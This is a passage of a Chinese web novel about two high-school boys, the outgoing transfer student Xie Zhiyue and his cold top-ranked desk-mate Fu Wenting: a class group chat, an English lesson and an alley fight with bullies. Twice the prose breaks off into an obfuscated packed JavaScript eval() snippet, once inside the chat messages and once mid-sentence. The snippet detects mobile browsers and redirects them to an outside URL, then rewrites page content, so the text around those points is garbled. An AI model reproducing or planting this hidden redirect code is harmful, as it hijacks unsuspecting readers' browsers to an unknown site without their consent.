易祈对他的猜测表示鄙夷:“你以为傅闻听是你吗?人家每次去办公室只有挨夸的份好吧?” 谢知跃对他的双标表示强烈抗议,并且坚持己见。 一直到放学,谢知跃才总算找到机会和傅闻听搭话,并决定邀请对方和自己一起共赴网吧抒发一下哀情,顺带交流一下感情。 俗话说的好,网吧就是男人友情的温床,谢知跃坚信自己和傅闻听的关系再怎么僵硬,在对方见识过他手指翻飞、操纵着青钢影在人群里七进七出拿下五杀的英姿下冰雪消融的。 抱着如此美好的幻想,谢知跃刚要转头进行一番友好的交流,还没说话,傅闻听干脆利落地单肩背上书包,头也不回地走出了教室。 动作快得像是生怕自己沾上坏东西。 “……”谢知跃纳闷地把课本塞进包里,一边拉上拉链:“这家伙是不是还得过跑步冠军?” 怎么次次都溜得这么快? 坐在前桌的易祈忙着收拾作业,听到谢知跃的自言自语,一时间没顾得上思考,大咧咧道:“你这话问的,他这种情况也没办法跑步啊,而且他连……” 话说到一半,他才意识到自己刚刚说了什么,猛地捂住了嘴,后知后觉地刹住了剩下的话。 然而谢知跃已经听见了,手上动作一顿,迟疑了两秒:“你刚刚说什么?什么身体情况?” “……”一不小心说漏嘴,易祈的表情肉眼可见地有些懊恼。 但仔细一想,这事就算自己不说,谢知跃迟早也会知道。于是他犹豫两秒,选择信任一下谢知跃的人品。 放学铃已经打过一轮,周围的同学归心似箭,陆陆续续已经走了大半,偌大的教室仅剩值日生和四五个正在收拾书包的学生。 易祈左右张望两下,示意谢知跃和他一起走出教室。看着他一副鬼鬼祟祟的样子,谢知跃有些纳闷,却还是照做。 一走出来,易祈观察一圈发现四下无人,这才挤眉弄眼地示意他靠近。 “其实是因为……”易祈神秘兮兮地压低声音,“傅闻听他身体有点问题……” “……”谢知跃猛地抬起头,震惊地瞪大双眼:“他阳痿?!” 年纪轻轻就得了这病,以后那还得了?! 易祈:“……” 他急得又把谢知跃的脑袋按了下来:“你想到哪里去了?怎么可能是这个!” 易祈连忙环顾一圈四周,见没人听见他们的交流内容,这才松了口气。 “我是听说。”他顿了顿,继续悄声道,“他有先天性的那啥,心脏病。” 易祈示意谢知跃看向他,然后指了指心口。 “心脏病?”谢知跃愣了愣神,下意识重复了一遍。 “嘘——”易祈连忙让他小声点,“这也是我们听说的哈,老师们也没提过,你可别往外传……” 谢知跃皱了皱眉,表示疑惑:“老师没提过?那你们怎么知道的?” “这个,主要是方方面面的吧。”易祈迟疑片刻,和他列举一些事例,“嗯……首先是体育课,他被特批可以不用参加,运动会老师也会让我们划掉他的名字,总之有关运动的事情从来不会让他去。” 谢知跃歪了歪头,大胆猜测道:“万一只是老师觉得运动消耗脑细胞,不想让他去呢?” 易祈大惊失色地捂住脑袋:“跑步还有这个副作用?” “……” 易祈:“……开个玩笑。” 确认自己没有幽默细胞,易祈的心中多了几分悲愤,却依然尽职尽责地和谢知跃科普。 他轻咳两声:“其实主要是有一年校园墙上流出的风声,有个自称是傅闻听初中同班同学的人出来爆料,说他不光有这个病,以前还在班里发作过。” “虽然这条说说后来就被删了,也有人说那家伙是因为嫉妒才造的谣,但我们本班的人估计大概八九不离十是这个原因……” 听完全程大概,谢知跃若有所思地点了点头,最后在易祈再三强调一定要保密的说明下庄重地发了誓。 等出了校门,两人都要坐公交回家,因而结伴往公交车站走去。这个相对有些沉重和八卦的话题很快就被揭过,两人又叽叽喳喳地开始讨论新上的手游哪个角色更强。 …… 到家的第一时间,谢知跃把书包随手丢在地上,将昨天的剩菜往微波炉里一塞,开始上网开始搜索心脏病能治好吗。 他对心脏病的了解仅局限于亲姐高中时候追的那些韩剧,主角一查出这个病就哭得死去活来,时不时还伴随着失忆、车祸、癌症等并发症,看得谢知跃那叫一个心惊胆战。 虽然不清楚傅闻听得的是哪种心脏病,但谢知跃一向擅长往好的地方想。 所幸网页跳出的回答也足够给力:心脏病能否治好取决于类型、严重程度和治疗手段。多数心脏病通过规范治疗可实现病情稳定或症状缓解,部分类型可完全治愈。 自动忽略了其他可能性,谢知跃把目光放在最后五个字上:可完全治愈。 谢知跃长舒一口气。 恰好这时微波炉叮了一声,他随手抽了几张纸巾垫着盘沿把菜端出来,搁在桌上的手机同时弹出新消息。 [易祈邀请你加入群聊“榕城敢死队”,进入可查看详情] 谢知跃和易祈在回家路上互相交换了联系方式,后者说回家以后把他拉进班级小群里,估计说的就是这个。 放下菜盘子,谢知跃搓了搓手,点了接受邀请。手机卡顿的功夫,聊天框已经冒出了不少消息。 [我不是班长:欢迎进群!]< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070765|195211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>[路人甲:谁记得今天语文作业是什么?有没有人拍了?] [我不是副班长:新进群的同学报上名来~] [伟大的学委大人:照片.jpg] [路人乙:感恩学委!大爱无疆啊!] [……] 噼里啪啦弹了一大堆消息出来,有些是欢迎新同学的,有些是鬼哭狼嚎求作业抄的。聊天框一条接一条地往外冒,谢知跃看得眼花缭乱。 按照惯例先报了名字,他又发了两个表情包冒泡,群里立马就有人跟上,很快就逐渐演变成一场表情包大战。 谢知跃乐呵呵地在群里和易祈互相攻击厮杀,顺便收藏了几个新的表情包。 又在群里斗了几条,他扒拉了两口菜,一时间突发奇想,连忙叼着筷子打开群页面。 从群聊成员里开始一路翻找,谢知跃想试试能不能在列表里找到傅闻听。 大部分同学没有备注昵称的习惯,谢知跃没在F那一栏的分类里看见傅闻听的名字,推测对方也是如此。 于是他又从上到下挨个找起,翻了半天,最终锁定一个名字叫Empty Sets的账号。 头像是一只在星空下仰头的小黑猫,只有背影,封面看起来是一张随手拍摄的照片,主体是一丛盛放的红玫瑰,花苞和藤叶上簌簌落着一层积雪。 至于主页其他的部分,别说基础资料,连性别都没有标。 嗯,这熟悉的装逼气息…… 确认过眼神,谢知跃选择相信自己的直觉,非常笃定地朝对方发去一个好友申请。 …… 另一头,同样刚到家不久的傅闻听。 把书包挂上玄关衣架,傅闻听弯腰换鞋,抬头看了眼在厨房里忙碌的江挽月。 听见关门声,江挽月头也不抬地隔着玻璃喊道:“听仔,晚餐吃红烧排骨!” 傅闻听动作一顿,“你不是说要减肥吗?” “……最后一顿,这绝对是最后一顿。”江挽月心虚两秒,翻锅的手一顿,连忙试图转移话题,“快去洗手,马上开饭了。” 傅闻听扯了扯嘴角,对她三天两头说要减肥的话保持着基本为零的信任。 在水池边洗过手,他耷拉着拖鞋走到厨房,倚在门框上看了一会儿,忽然想起什么:“对了。” 江挽月停下动作,回头看他。 “和刘叔说一声吧,以后不用特意来接我上下学了。”傅闻听抿了抿唇,“反正现在离学校近,走路就当锻炼身体了。” 江挽月有些惊讶地看他一眼,还有些意外:“行啊,我还以为你从大别墅搬到我这儿老破小会不习惯呢,结果现在都开始自适应了?” 说到这儿,她忽然想起什么,莫名开始自言自语:“你妈不会觉得我虐待你吧?又是要搬走又是不要司机的……” 傅闻听无语地扯了扯嘴角:“她哪有空管这些鸡毛蒜皮的小事。” 敷衍地撂下这么一句,他转身就往房间走,顺手关上门隔绝了外头的动静。 直到停在书桌边,傅闻听拉出抽屉,把放在里面的手机拿出来。 开机解锁,屏幕上方的圈圈转了又转,直到屏保亮起,傅闻听耐心等了半天才收到信号。 删了几条垃圾短信,他顺手点开企鹅看了眼消息和作业,余光却注意到下方联系人那里刚冒出来的一个红点。 虽然傅闻听已经明确地向外界表达过拒绝一切社交的意愿,但仍旧会有很多人从各种渠道搜集到他的联系方式,以往正常情况下,傅闻听都只是看一眼就忽略。 但今天,他正要点击退出的手停在了半空。 片刻后,傅闻听盯着屏幕皱起眉头:“卖掉裤子来上学……申请添加你为好友?” 11. 我看你是心痒痒的 开学没几天,卖掉裤子来上学原形毕露,又一次踩着预备铃险些迟到。 一路火花带闪电地冲进校门,躲过了保安和站岗老师的巡查,当谢知跃再次坐回高二四班最后一排的第二个课间,他朝两位前桌描述了一番自己的惊险经历。 随后,谢知跃深吸一口气,发表了自己在这个新学校的第一条正式宣言:“拦不住我的,只会让我更强大。” 坐在易祈旁边的杨霁珉听见这话,果断翻了个白眼:“得了吧你,今天还好是宋老师值班,他眼神不好,没能看见你卖掉裤子也要坚强上学的英姿。” “诶,这你就不懂了吧。”谢知跃一副孺子不可教也的表情摇摇头,略有深意道:“你难道不觉得这个名字非常能体现出我坚韧不拔、努力学习的积极精神吗?在贫苦中顽强,在坚持中上进……” 易祈停住手上忙着抄作业的笔,默默叹了口气:“简直是猥中有琐,猥琐至极。” 作为相爱相杀的同桌多年,杨霁珉头一回和他这么有共鸣,狠狠竖起了大拇指:“易祈,认识你这么多年,终于看见你说了回人话。” 易祈:“……”这样的夸赞他并不想要。 谢知跃拍着桌子连声喊抗议:“难道我的卖掉裤子来上学还比不上他的帅到被人追着砍?” 听到这个问题,杨霁珉倒是认真思考了一番,末了缓缓点头:“在猥琐程度上你赢了,在自恋程度上他赢了。” 平分秋色,完全让人无法判断谁更胜一筹。 课间只有短短十分钟,三人七搭八扯的功夫,英语课代表站在第一组桌前,扯着嗓子呼唤众人把作业从最后一排往前面传。 因为分科离开的学生不多,各科老师倒是因为职位变动换了几个,恰好英语就是其一。 新来的英语老师姓王,大概四十来岁,据说也是从市重点中学调来的,做事雷厉风行,要求课代表要在每节英语课之前把前一天的作业收上来,方便批改。 英语课代表看了眼时间,生怕因为效率慢了被痛批一顿,连忙提醒众人别漏掉作业:“活页和顶尖课课练都要收上来!还有昨天的听写本!” 谢知跃闻言大惊失色:“什么顶尖课课练?不是只要写活页吗?” 易祈从刚才开始就埋头抄着作业,这会儿头也不抬,手下速度更是快得飞起:“你又没听课?王老师昨天下课的时候刚说的,两个都要写啊。” “卧槽!”谢知跃一惊,只觉得大事不妙,连忙着急忙慌地翻开作业本,顺道催促杨霁珉,“快快快,你写了没有?快借我抄抄。” 杨霁珉无奈地耸了耸肩,指指易祈,表示爱莫能助:“我的在他那里,你等他抄完吧。” 谢知跃满腔悲愤地哀嚎:“易祈你快点抄啊——” 刚被叫去办公室的傅闻听恰好回班,还没进门就听见这几个家伙大呼小叫的声音,不留痕迹地皱了皱眉,心下生厌。 谢知跃对此毫无所觉,感受到身边有人靠近,当即抬眼看过去。 注意到来人是傅闻听,他眼睛一亮,态度如旧,像是什么都没发生过一样自然开口:“同桌,你课课练写了没?借我抄一下呗,我一会儿帮你交过去——” “……”傅闻听觉得这家伙真是独一份的难缠,完全不知道知难而退。这几天他已经尽可能地忽视对方,偏偏他还是无数次厚着脸皮,像没事人一样又粘上来。 想到这里,他板起脸,尽量让自己的语气变得冷硬:“自己的作业自己写。” 说完,傅闻听没给谢知跃任何回应的机会,拿起作业径直交给了课代表。 被拒绝已是常态,谢知跃这几天不知道听了多少句类似的话,反倒习惯不少。这头索求无望,于是连忙转头催促易祈快点抄。 易祈忙得都快在纸上搓出火星子了,倒是一点也没耽误地把两人的对话听进去。 再次见证谢知跃被拒绝,易祈发自内心地钦佩他的毅力,忍不住回头搭话:“谢知跃,我发现你转校之后还是有点好处的,至少让我们的四班之光多了主动锻炼的机会。” 以前除了老师叫人上讲台写示范题这种必要情况之外,傅闻听非轻易都不怎么离开后排,易祈甚至都怀疑他到底见没见过第一排同学的脸。 但自从谢知跃来了,傅闻听连路都爱走了,老是不辞辛劳地走到第一排去交作业。 谢知跃哪有功夫管他的调侃,恨不得亲自帮他抄作业:“大哥!你别回头了!能不能快点写?” “……” 手忙脚乱地一顿抄,两人总算赶在上课铃响之前交上了作业。 前脚刚把作业放上讲台,下一秒英语老师就面无表情地推门而入,谢知跃和易祈双双松了口气,险些惊出一身冷汗。 趁着老师还没开始正式上课,劫后余生的两人开始装模作样地夸耀彼此:“易兄有此速度,当真是人中豪杰,小弟我佩服佩服。” 易祈摇头晃脑,谦虚不已:“哪里哪里,我看谢兄也是一表人才,如此手速可是单身多年?” “过奖过奖!不过区区十七年而已……” “……” 听着他们的对话,傅闻听在边上没忍住扯了扯嘴角。 他强迫自己把注意力从这两个傻子身上挪开,从抽屉里摸出一本数学模拟卷。 下午的最后两节课都是英语,这也是谢知跃最头疼的科目。他一听见洋文就想睡觉,当然也不是其他课不睡的意思,只不过在英语课上的睡眠质量更好一些。 偏偏这位新来的王老师十分严厉,看不得有学生在课上开小差,尤其喜欢把睡着的同学拎起来背课文,背不出来就罚站。才上了一星期课,谢知跃已经被她叫起来罚站两次了。 站着的睡眠质量明显不如坐着好,谢知跃还在和困意作斗争,绞劲脑汁地想怎么在老师的眼皮子底下睡个好觉,余光不经意一瞥,注意到傅闻听在埋头写着什么。 昨天的作业刚交,今天的还没布置,他在忙着写什么呢? 谢知跃一瞬间来了精神,好奇地伸长脖子探头过去看了一眼。 察觉到谢知跃的动作,傅闻听微微皱眉,又不动声色地挪了挪手肘,试图隔绝他的视线。 勉强看清那是张试卷,谢知跃本能地轻诶了一声,末了意识到还在上课,匆匆捂住嘴看向讲台。 英语老师正好转身写板书,见对方没发现,他才稍稍放心,胆子大了点,再次凑过去,低声道:“同桌,你在写什么作业?这张卷子我咋没见过。” 傅闻听急于摆脱他,敷衍地折了折卷面,没好气道:“你当然没见过,因为这压根就不是作业。” 学校老师每天布置的作业量有限,傅闻听很快就能做完,闲着没事的时候就会找一些其他地方的模拟卷来做,纯当打发时间。 但谢知跃不依不饶,显然不满足他的好奇心是无法使他闭嘴的:“那你在英语课上写数学作业也没关系吗?我发现老王从来都不抓你,但是每次都能精准地逮住我睡觉……” 傅闻听:“……”谁上课睡觉像他那样光明正大地趴下来睡?这想不被发现都很难吧? 他甚至觉得自己只要把椅子让出来,谢知跃就能迫不及待地躺上去进行一段长眠。 实在不知道怎么应声,傅闻听沉默两秒,只能冷冷地回了句不知道。 当然,虽然谢知跃每次被抓的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070766|195211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确是有都睡得太明显被抓这个原因,但他有关傅闻听的直觉还真没错。 除了睡觉之外,无论傅闻听在课上是写别科作业还是望着窗外发呆,各科老师都会象征性地睁一只眼闭一只眼。 不过这毕竟是年段第一的独家待遇,而谢知跃就不一样了。 窸窸窣窣的声音还是没能瞒过英语老师的耳朵,她皱了皱眉,回头看向谢知跃的方向,将手里的书卷成筒状狠狠地敲了下讲台,“好了!不要讲话了!谢知跃,你来翻译一下这个单词!” 没来得及把话说完,被叫到名字的当事人一噎,慢慢吞吞地站起来,眯着眼睛盯着讲台上的单词看了一会儿。 itchy……itchy feet? 谢知跃眼睛一亮,当即自信地喊道:“脚痒痒的!” “……” 话音刚落,全班同学的笑声稀稀拉拉地响起,英语老师被他气得不行,重重敲了几下讲台:“我看你是心痒痒的!自己不学还耽误别人!part1的单词今晚给我背熟,明天我要检查!背不出来你就把Unit1的课文抄三遍!” 措不及防闻此噩耗,谢知跃哀嚎一声,不愿接受这个惨痛的事实。 得益于这独一份的殊荣,接下来的两节课时间,谢知跃都没再犯困,只顾着埋头背单词,更没有空去找傅闻听闲聊。 直到放学铃声一响,他才如释重负地松了口气,总算振作起来,背着书包和易祈往校门口走。 谢知跃握着拳头振振有词:“你说我今晚提前把Unit1的课文抄三遍,明天直接交给老王怎么样?” 易祈刚拐进小卖部买了盒优の冻,试图用牙撕开封口,声音含含糊糊:“你还是背几个吧,万一她让你现场抄咋办?” 谢知跃叹了口气,对这个问题避而不答:你说这些外国人研究这么多奇形怪状的单词干什么?渴望旅游就渴望旅游呗,还硬要说是脚痒……” 他很自然地凑上去用塑料勺子挖了一口,振振有词道:“诶,说到这个,你听没听过一首歌?” 谢知跃咬着勺子,努力回想旋律:“蹦蹦蹦蹦蹦蹦,在光绪二十六年……” 两人聊着天,易祈低头看手机里公交车的行驶情况。谢知跃往他边上走了走,站在公交站台的边缘线往前远眺,试图判断即将驶来的公交车来自哪一路。 张望着张望着,谢知跃忽然注意到什么,神情一愣。 一道马路分隔的对面,傅闻听站在斑马线上等红绿灯。 优越的长相和身高让他在人群中格外显眼,傅闻听单肩挎着书包,身姿笔挺,单边耳机线从脸侧垂下来,连着口袋,神情是一如既往的冷漠。 注意到谢知跃莫名一动不动,易祈还以为公交来了,跟着探出脑袋,同样看到了不远处的傅闻听。 易祈见状愣了愣:“那不是傅闻听吗?” 他有些疑惑:“我记得他以前都坐自己家的车,今天怎么……” 话没说完,没等他想出个所以然,刚刚一直站在边上的谢知跃突然动了动。 “易祈!你先回去吧!”谢知跃头也不回地从站台上的台阶跳下去,“我去找傅闻听聊聊天!” “喂!”易祈一惊,还没反应过来,抬头就只看见谢知跃飞奔离开的背影,连忙喊道,“不是!还有三百米车就来了!” 眼看着红灯要转绿,谢知跃来不及多说,只是匆匆招了招手:“没关系!你先走!” “……” 眼睁睁看着人跑走,易祈简直被他的操作搞得摸不清头脑,莫名其妙地挠了挠后脑勺,喃喃道:“这家伙,怎么一遇到和傅闻听就跟被勾走了魂一样……” 12. 哟?还是一箭双雕? 傅闻听站在斑马线前,盯着眼前不断跳动的红色数字发呆。 放学高峰期的校门口常常堵得水泄不通,周围时不时路过同龄的学生和接送的家长,傅闻听的内心毫无波澜,注视着马路对面的数字一点一点倒数至零。 红灯跳得极快,眨眼的时间转为绿色,人群瞬间躁动起来,傅闻听没有犹豫地抬脚迈步,走上斑马线。 穿过马路,刚迈上路肩石,背后忽然有个声音由远及近地飘过来:“傅闻听——” 听见熟悉的声线,傅闻听脚步一顿,下意识皱了皱眉。 ……总有种不祥的预感。 他眼皮一跳,稍微侧身偏过头,果然看见一道阴魂不散的身影正艰难地试图从人堆里穿过来。 注意到傅闻听回头,谢知跃眼睛一亮,连忙费劲地朝他挥了挥手。 “……”傅闻听迅速地把头转回来,不动声色地加快脚步,希望刚刚看到的画面只是自己的错觉。 可惜没走出几步路,脖颈处蓦地传来一阵温热的触感,一条胳膊忽然覆上后颈,带着一阵力道将他往下压了压。 讨厌鬼的声音从没带耳机的另一边传过来,尾音上扬:“傅闻听,我还是第一次在放学的时候看到你啊,你也走路回家吗?” 傅闻听对他的动手动脚早有预料,稍稍加快脚步,一下就把脖子从谢知跃的胳膊底下拯救了出来。 然后才皱了皱眉,冷冷警告道:“你别碰我。” “你有洁癖?”谢知跃歪着头想了想,记起上回也是这样,虽然不解,但还是乖乖把手收了回来,乖乖和他保持了一段距离,“你还没回答我的问题呢。” 傅闻听加快脚步,不愿和他说太多,淡淡道:“这好像和你没什么关系吧?” “怎么没有关系?反正我也是一个人上学,万一咱俩顺路,以后还能搭个伙一起走呢。”谢知跃乘胜追击,跟在他身边喋喋不休,完全把可怜的易祈抛在了脑后。 傅闻听不咸不淡地睨了他一眼:“你不是和易祈一起坐公交吗?” “嘿!”谢知跃瞪大眼睛,快跑两步走在傅闻听前边,“我就知道你在偷偷观察我!” “这还需要观察?”傅闻听没好气地翻了个白眼。 公交站台离校门又不远,一到放学,谢知跃和易祈都高调地勾肩搭背,大摇大摆地穿过人群,真是想让人不注意都难。 谢知跃笑嘻嘻地和他插科打诨:“这算什么?我愿意为了你短暂地抛弃易祈。” 这种不着调的话轻而易举地就能从他嘴里说出来,傅闻听听得别扭,皱着眉地顿住脚步,盯着还在往前走的谢知跃,声音冷冰冰:“不需要,我觉得一个人走比较好。” 谢知跃也跟着他停下脚步,顺嘴搭话:“但是那样会很无聊啊,都没人一起讲话。” 傅闻听:“……反正就是不需要。” 话题被他强行终止,迎着谢知跃看过来的视线,傅闻听板着一张脸不说话,希望他能就此明白知难而退。 然而谢知跃沉默两秒,又一声不吭地凑了上来。 两人间的距离一瞬间被拉近,呼吸间的热气洒在傅闻听的锁骨处,烫得傅闻听下意识往左边偏了偏身子。 直到回过神来,他又有些恼怒,连带着声音都没忍住大了点:“你干什么?” 谢知跃完全没有察觉到他的奇怪之处,鬼鬼祟祟地左右张望半天,确认四周无人,这才小心翼翼地压低声音开口:“你一个人上下学也不安全,万一又被那些人拦下来怎么办?” 不说还好,一下子旧事重提,傅闻听想到什么不太美妙的记忆,脸唰一下黑下来,三两下躲开他的靠近,迈着大步往前走:“我觉得离你远一点可能比较安全。” 被他的无情刺痛,谢知跃作势捂住心口,痛心疾首地假装斥责:“你怎么能这么说,好歹多一个人多一个帮手啊。” 他一边瞎扯也不忘跟上傅闻听,两人沿路拐进一条古色古香的青石巷。 说着说着,谢知跃还假装伸手对着傅闻听比了比,“你看你这单薄的身板,那些人那么凶神恶煞,万一你一不小心又被他们堵了,这不得被他们当菜切了……” 话还没说完,傅闻听又一次忍无可忍地停下了脚步,气得回嘴:“你才小身板,你全家都小身板。” 说着,他瞟了一眼谢知跃的身高,扯了扯嘴角:“而且事实上,你的确比我矮。” 身高是男人最不容质疑的东西,一听见这话,谢知跃急得恨不得跳起来,连忙用自己的手在脑袋上比了比,又保持着同等高度平行挪向傅闻听的脑袋—— 涉及最基本的尊严,傅闻听难得没阻止他的动作,站在原地保持着王之蔑视,盯着他来来回回比对。 直到谢知跃反复比对、反复对比,最终确认了一个事实:虽然从他的视角看过去两个人身高差不多,但的确是傅闻听稍高一点。 也就一丁点点点…… 身高比拼进入尾声,两人的状态在结果出现的瞬间调换过来,谢知跃像被霜打的茄子一样蔫了,傅闻听反倒神色自得地冷哼了两声。 不过这种垂头丧气的状态没维持多久,谢知跃很快就恢复了活力,絮絮叨叨地洗脑自己:“我姐说我还在发育期,肯定还能长的,说不定明年就比你高了呢……” 听他自言自语,傅闻听扯了扯嘴角。估计都不用明年,就凭谢知跃的成绩和表现,大概下个月就会被月考排名送去其他班。 当然,傅闻听也不会自讨没趣地点破这点,无所谓地继续往前走,就当给谢知跃一些残存的幻想。 至于谢知跃,压根没在意过他有没有兴趣说话,继续有一句没一句地跟傅闻听聊天。 “你说我今晚不背单词行不行?万一运气好,明天英语老师正好把要抽查我的这件事给忘了……” 傅闻听:“简直是痴人说梦。” “你有没有感觉这条路的公交开得很慢?难道是因为我每次坐都是早高峰吗?” 傅闻听:“不知道,没坐过。” “我总觉得这条巷子怎么这么长,还没走到头吗?” 傅闻听:“因为我在故意饶你远路。” 谢知跃倏地瞪大眼睛,震惊得当即停下脚步,满脸都写着你居然也学坏了。傅闻听看着他这副傻里傻气的样子,也忍俊不禁,嘴角难得往上扬了扬。 看见傅闻听戏谑的表情,谢知跃后知后觉地意识到他在逗弄自己。但磨了这么多天,总算看见他脸上有了点笑意,谢知跃还是挺庆幸自己这一路上的口舌没有白费。 他长吁一口气,欣慰道:“对嘛对嘛,还是笑起来好看点。” 来了来了,又开始了。 意识到自己没绷住表情,傅闻听心里有点懊恼,立马拉直嘴角,绷着脸不说话。 “……” 所幸多亏这一小段插曲,二人间的气氛缓和了不少,虽然没好到哪里去,但总算没有前些天那么僵硬。 直到又往前走了一段,眼看快走到这条巷子的尽头。清楚谢知跃平常坐的公交根本就不会开往这个方向,傅闻听终于忍不住深吸一口气,停下脚步:“你知道我有心脏病对吧?” 措不及防被这么一问,谢知跃愣了一秒,还没来得及说话,就看见傅闻听抿了抿唇,面无表情:“你再接近我,就不怕我哪天发病的时候赖在你头上?” 奇奇怪怪的问题,问得谢知跃下意识一怔,也有点糊里糊涂。莫名其妙地挠了挠头,他脑子还没反应过来,嘴就先开了口:“你要是发病,我给你做人工呼吸呗……”< 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谢知跃的视线被傅闻听挡了大半,又被这一来一回的动作搞得一头雾水,刚想开口,却又隐约察觉到什么。 再一回头,就见刚刚还空无一人的路口同样被几道身影挡住,领头的那人缓缓从阴影里走出来,竟有几分眼熟。 谢知跃眯了眯眼,同样生起一分警惕。等到靠近那人的脸愈发清晰,他才有些惊讶,没想到还真是老熟人。 李坤带着三四个小弟从阴影里走出来,脸上表情笑得张扬,一边抚掌一边狂笑出声:“天生我材必有用,得来全不费工夫!不枉我蹲了这么久,总算让我逮着了!” 谢知跃震惊不已,拉着傅闻听用自以为很小声的嗓门讲悄悄话:“这几个家伙居然会念古诗?” 傅闻听皱了皱眉,似乎在思索:“好像已经上完了九年义务教育。” 全部听见了的李坤:“……” 在这两人身上栽了一回,他谨慎了不少,压着怒气没理会他们,重新凹了个自认为痞里痞气的造型,再次正视两人。 滴溜溜的眼睛从傅闻听转到谢知跃的脸上,李坤用拙劣的演技假装惊讶,挑了挑眉:“哟,还是一箭双雕?” 傅闻听脸色不愉,攥着谢知跃胳膊的手微微收紧,又把人往自己身后拉了拉,冷冷地盯着他:“李坤,我记得我警告过你。” 对面的李坤冷笑一声,似乎是有些不屑:“哟,大少爷,你真以为自己在学校的那一套虚张声势还有用啊?” 他轻嗤一声,装模做样地扭了两下脖子,活动活动手腕,抬手示意身后的小弟往前逼近,声音阴冷:“我李坤有仇必报,你还以为上次耍了我们一通还能假装无事发生?想的也太美了吧?” 李坤表情凶狠,不断朝两人靠近,声音里透着得意:“我现在就告诉你,我李坤不是好惹的,今天你要么拿钱消灾,要么就乖乖让哥几个出出气……” 一句话没说完,谢知跃猛地上前一步,冲着李坤的脸抬手就是哐当一拳! 邦! 剧烈的疼痛从颧骨发散到下颌,措不及防被打,李坤捂着脸痛呼一声,踉跄着倒退两步,被身后惊慌失措的小弟手忙脚乱地搀扶住。 又是一阵兵荒马乱,李坤龇牙咧嘴地捂着痛到麻木的左半张脸,简直不可置信地盯着谢知跃,震惊道:“你、你居然敢打我?!” 迎着李坤目眦欲裂的表情,谢知跃神色平静地将袖子撸高了一寸,这才终于抬起头,忽然露出了个极为灿烂的笑容。 李坤一行人惊疑万分,在场的众人还没回过神,就看见谢知跃上前一步,二话不说抬起腿,朝着李坤的胸口又是一脚! “打你就打你。”谢知跃冷笑一声,语气不屑,“难道还要挑日子吗?” 13. 是男人就支棱起来! 十成十的力道迎面袭来,李坤喉咙发紧,下意识仰头就往后一躲。 谢知跃气贯长虹的飞来一脚险险擦着他胸口过去,可惜一击不中,他失去平衡,下意识瞪大眼睛,趔趄着就要往前栽。 险些就要和地砖来一次说走就走的亲吻,身后冷不防有只手拽住他的后领,将谢知跃又提溜了回来。 被砸中的侧脸高高肿起,隐隐发烫的伤处火辣辣地刺痛,李坤顿时暴跳如雷,气急败坏地指挥一众小弟:“我操他妈的!动手啊!” 后知后觉的小弟终于反应过来,个个沉着脸摩拳擦掌,从前后包抄过来,将两人围在了巷子中央。 谢知跃的领子依旧拽在傅闻听手里,他还没反应过来,就看见身旁的傅闻听已经摸出手机,按亮屏幕,单手飞快地在上面敲打着什么。 页面散发的白光照得他面色冷峻,指尖快速地在键盘上按下一行文字,傅闻听将手机揣回兜里,将提着谢知跃后领的那只手又往后扯了扯,有些不悦地沉着脸,冷嗤一声:“啧,麻烦。” 撂下这么一句,他松开手,干脆利落地朝着挡在李坤前面的小弟就是当胸一脚! 谢知跃:??? 他看得一愣又一愣,有些意外这家伙还是个一言不合就动手的做派。 没料到他忽然发难,挡在最前面的小弟被这突如其来的一脚踹得痛呼一声,踉跄倒了几步,摇摇晃晃地往后倒。 眼看着自己要摔,被踹中的小弟顾不上疼痛,睁大了眼睛,双手在空中胡乱挥舞,不假思索地抓住了身边人的胳膊。 站在他边上的人一惊,脚下同时被绊住,被他连带着一起往后摔。 两位人形围栏的表情或疼痛或迷茫或震惊,就这么带着压倒一切的气势直挺挺地砸了下来—— 眼睁睁看着两人倒向自己的李坤:? 等他反应过来的时候,后脑勺和青砖地面仅剩五厘米的距离。 被身上两座人山的重量压得痛呼一声,李坤一时间摔得头昏脑胀,眼冒金星,恍恍惚惚中总觉得这场面有点似曾相识。 堵在巷子另一头的几人见状勃然大怒,爆了几句脏话,抡着拳头就朝着傅闻听的脸上挥去。 傅闻听微微皱眉,往后轻轻一仰躲了过去,反手擒住他的手腕,直截了当地撤步转身,猛地一个过肩摔将人掷向墙面。 意图挥拳伤人的小弟还没反应过来,只觉一阵天旋地转,只来得及闷哼一句,后背已经重重砸上砖墙。 谢知跃看得目瞪口呆。 早说这哥们能打,他那天还拽着他跑啥啊! 看着傅闻听一手解决一个,他内心燃烧着的熊熊正义之火也压不住了,迫不及待地摩拳擦掌。 还没等他主动出手,傅闻听忽然警醒地看过来,目光锐利,盯着他似乎想说什么。 两人对视的一瞬间,谢知跃冷不丁眉心一跳,隐约察觉到什么,下意识侧过身,好巧不巧,正好躲过背后有人挥过来的拳头。 居然还敢偷袭? 谢知跃勃然大怒,二话不说抬脚又是一计狠踹。 动手的小弟痛呼一声,跌跌撞撞地后倒,脚下不知被谁的腿绊住,挣扎着往后摔,不偏不倚地又砸在了刚准备爬起来的李坤身上。 挣扎了半天的李坤:“……” 他气得火冒三丈,咆哮着要给这两人一点颜色瞧瞧,命令所有人一起上,势必要将这两个不知天高地厚的家伙打得落花流水片甲不留。 几个混混霎时间蜂拥而上,将两人团团围在中间。傅闻听微微颔首,拳头擦着脑袋掠过,单手钳住这人的胳膊。 